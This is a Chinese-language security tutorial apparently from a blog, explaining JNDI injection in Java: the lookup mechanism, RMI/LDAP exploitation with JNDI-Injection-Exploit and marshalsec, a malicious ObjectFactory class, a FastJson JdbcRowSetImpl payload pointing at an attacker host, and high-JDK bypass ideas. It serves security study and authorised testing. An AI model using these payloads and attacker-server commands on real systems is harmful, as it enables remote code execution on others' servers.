【JavaEE安全】JNDI 注入从原理到实战:RMI、LDAP 与高版本绕过

警告:以下内容仅用于安全研究与授权测试,未经许可的攻击行为属于违法行为。


一、JNDI 注入核心原理

1.1 什么是 JNDI

JNDI(Java Naming and Directory Interface)是 Java 提供的一套统一 API,用于在命名/目录服务(如 RMI、LDAP、DNS 等)中查找和访问资源。它的核心操作是 InitialContext.lookup(String name),通过一个字符串名称来定位对象。

1.2 什么是 JNDI 注入

当应用程序对传入 lookup()name 参数缺乏严格校验时,攻击者可以构造恶意的 JNDI 引用(如 rmi://attacker.com/evilldap://attacker.com/evil),诱使目标服务器从攻击者控制的服务器上加载并执行恶意类,从而实现远程代码执行(RCE)。

1.3 利用条件

  • 可控参数InitialContext.lookup() 的参数可被用户输入控制。
  • 服务支持:目标环境支持 RMI、LDAP 等 JNDI 服务实现。
  • 版本限制:JDK 版本限制了攻击方式,详见后文"高版本绕过"。

二、JNDI 注入利用方式:RMI & LDAP

2.1 核心机制:Reference 与远程类加载

JNDI 的 Reference 类是实现注入的关键,它包含三个核心属性:

  • className:要加载的类名。
  • classFactory:实例化工厂类名。
  • classFactoryLocation:远程类的下载地址(如 HTTP 服务器)。

当目标服务器执行 lookup() 时,会根据 Reference 的信息,从指定地址下载并实例化恶意类。

2.2 利用工具:JNDI-Injection & marshalsec

2.2.1 JNDI-Injection-Exploit

快速生成恶意 JNDI 地址,直接执行系统命令。

bash 复制代码
# 生成 RMI/LDAP 恶意地址,执行 calc.exe
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A <ATTACKER_IP>

输出示例:

复制代码
[+] LDAP URL: ldap://<ATTACKER_IP>:1389/xxxxxx
[+] RMI URL:  rmi://<ATTACKER_IP>:1099/xxxxxx
2.2.2 marshalsec

更灵活的工具,可启动恶意 RMI/LDAP 引用服务器,引导目标下载自定义恶意类。

  1. 编写恶意类

    java 复制代码
    // Evil.java
    public class Evil implements javax.naming.spi.ObjectFactory {
        public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            Runtime.getRuntime().exec("calc");
            return null;
        }
    }
  2. 编译

    bash 复制代码
    javac Evil.java
  3. 启动恶意 LDAP 服务器

    bash 复制代码
    # 引导目标从 http://ATTACKER_IP/ 下载 Evil.class
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>/#Evil"
  4. 启动恶意 RMI 服务器

    bash 复制代码
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://<ATTACKER_IP>/#Evil"
  5. 触发注入

    java 复制代码
    // 目标代码中存在可控的 lookup 调用
    new InitialContext().lookup("ldap://<ATTACKER_IP>:1389/Evil");

三、实战案例:与 FastJson 反序列化结合

3.1 漏洞原理

FastJson 在反序列化时,会根据 JSON 中的 @type 字段实例化对应类。当 @type 指向 com.sun.rowset.JdbcRowSetImpl 时,其 setDataSourceName() 方法会调用 InitialContext.lookup(),从而触发 JNDI 注入。

3.2 攻击步骤

  1. 判断环境:构造畸形 JSON 触发报错,确认 FastJson 版本及是否存在反序列化漏洞。

  2. 生成恶意地址:使用 JNDI-Injection-Exploit 生成 RMI 地址。

  3. 构造 Payload

    json 复制代码
    {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "rmi://<ATTACKER_IP>:1099/Evil",
        "autoCommit": true
    }
  4. 提交 Payload:将 JSON 数据提交至目标,触发反序列化与 JNDI 注入,执行代码。


四、JDK 高版本注入绕过

4.1 JDK 版本限制

JDK 版本 限制项 影响
6u45, 7u21+ useCodebaseOnly=true RMI 禁用远程类加载
6u132, 7u122, 8u113+ trustURLCodebase=false RMI/CORBA 禁用远程 Codebase
6u211, 7u201, 8u191+ ldap.object.trustURLCodebase=false LDAP 禁用远程 Codebase

4.2 绕过思路

在高版本 JDK 中,直接远程加载类的方式被封堵,绕过方法主要有:

  1. 利用本地 Classpath 中的可利用类

    寻找目标环境 Classpath 中已存在的、可被利用的类(如 org.apache.naming.factory.BeanFactory),通过 Reference 构造调用链,间接执行代码。

  2. 利用 LDAP 序列化对象

    marshalsec 等工具支持在 LDAP 响应中直接返回序列化对象。如果目标服务器存在反序列化漏洞(如 Commons Collections),则可以通过 LDAP 注入触发反序列化 RCE,无需远程加载类。

    bash 复制代码
    # marshalsec 启动 LDAP 服务器,直接返回序列化 payload
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPServer

五、总结与延伸

JNDI 注入作为 Java 生态中经典的 RCE 利用链,其核心在于利用 lookup() 对恶意引用的解析。从早期的 RMI/LDAP 远程类加载,到与 FastJson 等反序列化漏洞的结合,再到针对高版本 JDK 的绕过技术,其利用方式不断演进。深入理解其原理和绕过技巧,是掌握 Java 安全攻防的关键。

参考链接


相关推荐
进击的雷神2 小时前
前端路由动态渲染、JSON内嵌HTML清洗、展位信息数组化、分页参数固定化——尼日利亚展会爬虫四大技术难关攻克纪实
前端·爬虫·python·json
小黄人软件2 小时前
openclaw有哪些安全问题?如何防范?
安全
BullSmall2 小时前
Nginx(反向代理、负载均衡)安全加固
nginx·安全·负载均衡
一名优秀的码农2 小时前
vulhub系列-34-djinn-3(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
冷小鱼2 小时前
国家网络安全事件报告管理办法
安全·web安全·网络安全·信息安全·安全法
敲代码的猴先生2 小时前
论文分享 | TwinBreak:基于孪生提示词的大模型安全对齐越狱攻击
论文阅读·人工智能·安全·语言模型
梁正雄3 小时前
Python前端-2-css基础
前端·python·html
乾元3 小时前
RAG 架构: 利用向量数据库构建企业的安全知识库
运维·网络·数据库·人工智能·安全·网络安全·架构
MoRanzhi12033 小时前
Pillow 图像颜色模式与颜色空间转换
图像处理·python·数学建模·pillow·颜色空间转换·颜色模式·图像通道